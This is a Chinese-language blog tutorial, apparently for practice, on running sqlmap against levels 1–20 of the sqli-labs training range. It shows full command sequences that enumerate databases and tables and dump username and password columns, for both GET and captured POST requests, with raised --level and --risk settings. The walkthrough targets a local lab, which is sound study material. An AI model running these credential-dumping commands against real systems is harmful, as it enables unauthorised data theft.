用sqlmap工具打sqli-labs前20关靶场
这个星期我们用手动注入打了前20关靶场,今天我们用sqlmap直接梭哈前20关
1.介绍sqlmap
sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL和SQL注入漏洞。
2.下载和使用sqlmap
官方下载地址:GitHub - sqlmapproject/sqlmap: Automatic SQL injection and database takeover tool
下载压缩包,之后解压
那怎么使用呢???
打开sqlmap被解压到的地方,我解压到了F盘
直接在红色筐子里输入cmd,即可打开窗口使用sqlmap
3.sqlmap基本语法
sqlmap是由python写成
使用方法:python sqlmap.py -参数
常用用法
1.-h
-h是显示基本用法
语法:python sqlmap.py -h
2. -u
-u是基础参数,后面跟需要测试的URL,常用于GET类型的注入
语法:python sqlmap.py -u "URL"
3.--batch
--batch是,可以在所有需要用户手动输入的的部分(通常是询问执行yes还是no【样子是[Y/n]】),执行默认操作,不需要用户再输入
语法:python sqlmap.py -u "URL" --batch
4.--level 等级
--level是,测试等级,等级越高,测试越复杂,共有五级,当默认集数测试不出来时。可以提高等级。
语法:python sqlmap.py -u "URL" --level
其余我们在做中介绍。
4.解题
Less-1——Less-10(GET类型)
前十关解法相同,以第一关为例
1.库名 --dbs 查询库名
python sqlmap.py -u "http://sqli-labs-php7-master/Less-1/?id=1" --batch -dbs
2.表名 -D 表名 --tables 查询表名
python sqlmap.py -u "http://sqli-labs-php7-master/Less-1/?id=1" --batch -D security --tables
3.列名 -D 表名 -T 列名 --columns 查询列名
python sqlmap.py -u "http://sqli-labs-php7-master/Less-1/?id=1" --batch -D security -T users --columns
4.字段 -D 表名 -T 列名 -C 字段 --dump 查询字段
python sqlmap.py -u "http://sqli-labs-php7-master/Less-1/?id=1" --batch -D security -T users -C username,password --dump
要是这几关有的查询不出来,记得还有--level 等级,等级提升这一操作
Less-11——Less-17(POST基础注入)
从11关开始就需要bp抓包啦
创建一个文本文档在sqlmap文件夹中,将POST报文保存在文本文档中!
-r
代表文档
语法:python sqlmap.py -r 文本文档
1.库名
python sqlmap.py -r 11.txt --batch -dbs
2.表名
python sqlmap.py -r 11.txt --batch -D security --tables
3.列名
python sqlmap.py -r 11.txt --batch -D security -T users --columns
4.字段
python sqlmap.py -r 11.txt --batch -D security -T users -C username,password --dump
Less15-17这几关sqlmap跑的特别慢,大家耐心等待,17关记得输入一个用户名再抓包!
Less18——Less20
这几关会发现爆表爆不出来
提示让用--level --risk 前面介绍 level了,那什么是risk呢?
“risk”参数用于控制攻击的深度,数值越高,攻击的幅度越大,但也会增加攻击被发现的风险;
//库名
python sqlmap.py -r 18.txt --batch -dbs --level=3 --risk=3
之后操作也是一样的!!!
工具注入还是十分方便,但是还是得熟练手工注入!!!!